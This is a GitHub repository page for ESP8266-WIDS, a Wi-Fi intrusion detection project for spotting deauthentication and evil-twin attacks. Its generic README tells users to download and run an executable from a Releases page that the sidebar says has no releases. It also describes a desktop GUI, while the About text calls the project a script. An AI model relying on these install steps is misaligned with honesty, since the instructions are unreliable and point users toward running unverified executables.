Skip to content

yooaoalannana/ESP8266-WIDS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

13 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ ESP8266-WIDS - Detect Wi-Fi Intrusion Easily

🌐 Introduction

Welcome to ESP8266-WIDS, a powerful tool designed for detecting Wi-Fi intrusion attacks. This system utilizes the ESP8266 microcontroller and Python to monitor your Wi-Fi network. It can identify deauthentication attacks and evil-twin access points through the analysis of management frames. With this application, you can enhance your home or office network's security effortlessly.

πŸ“¦ Download & Install

Download ESP8266-WIDS

To get the application, please follow these steps:

  1. Visit the Releases Page: Click on the link below to access the download page:

    Download from Releases

  2. Choose the Latest Version: Once you are on the releases page, look for the latest version of the software. The version number will be highlighted.

  3. Download the File: Click on the asset for your system type to download the installation file. For most users, this will be an executable or zip file.

  4. Install the Application:

    • If you downloaded an executable file, double-click it to start the installation process. Follow the on-screen prompts to complete the installation.
    • If you downloaded a zip file, extract it to a folder on your computer. You will then find the executable file inside the folder. Double-click it to run.
  5. Start Using the Software: Once installed, open the application to begin scanning your Wi-Fi network for any potential threats.

πŸš€ Getting Started

  1. Connect Your ESP8266: Ensure your ESP8266 device is set up and connected to the same Wi-Fi network you want to monitor.

  2. Open the Application: Start the application on your computer.

  3. Select Your Device: In the application interface, choose your ESP8266 from the list of available devices.

  4. Run a Scan: Click on the "Scan" button to begin monitoring your network. The application will start analyzing data packets and identify any suspicious activity.

  5. Review the Reports: After the scan completes, check the reports for any detected deauthentication attacks or evil-twin access points. The summary will provide a clear overview of your network's security status.

πŸ“‹ System Requirements

To run ESP8266-WIDS successfully, ensure your system meets the following requirements:

  • Operating System: Windows 10, macOS, or any popular Linux distribution.
  • Memory: Minimum 4 GB RAM recommended.
  • Storage: At least 100 MB of free disk space.
  • Network: A working Wi-Fi connection for monitoring.

πŸ” Features

  • Real-Time Monitoring: The application provides live updates on your network security status.
  • Customizable Alerts: Configure alerts to notify you when unauthorized access or suspicious activity is detected.
  • User-Friendly Interface: The simple design makes it easy for anyone to navigate and use.
  • Comprehensive Reports: Get detailed reports on potential threats and vulnerabilities in your network.

πŸ› οΈ Troubleshooting

If you encounter any issues while using the application, here are some common problems and solutions:

Problem: Can't Connect to ESP8266

  • Solution: Ensure that your ESP8266 is powered on and connected to the same Wi-Fi network as your computer. Check the settings in the application to ensure they are correct.

Problem: Application Crashes

  • Solution: Ensure that your system meets the minimum requirements mentioned above. If the problem persists, try reinstalling the application.

Problem: No Alerts Triggered

  • Solution: Make sure that scanning is active and that you have selected the correct Wi-Fi network. Adjust your monitoring settings to ensure all relevant traffic is being analyzed.

πŸš€ Support

For further assistance or questions, you can access the community discussions or create an issue on the project’s GitHub page. Your feedback helps improve the application.


Thank you for choosing ESP8266-WIDS. Enjoy enhanced security for your Wi-Fi network!

About

πŸ›‘οΈ Detect Wi-Fi threats with this ESP8266 script. Monitor deauth storms and evil twins, generating JSON alerts for effective network security management.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors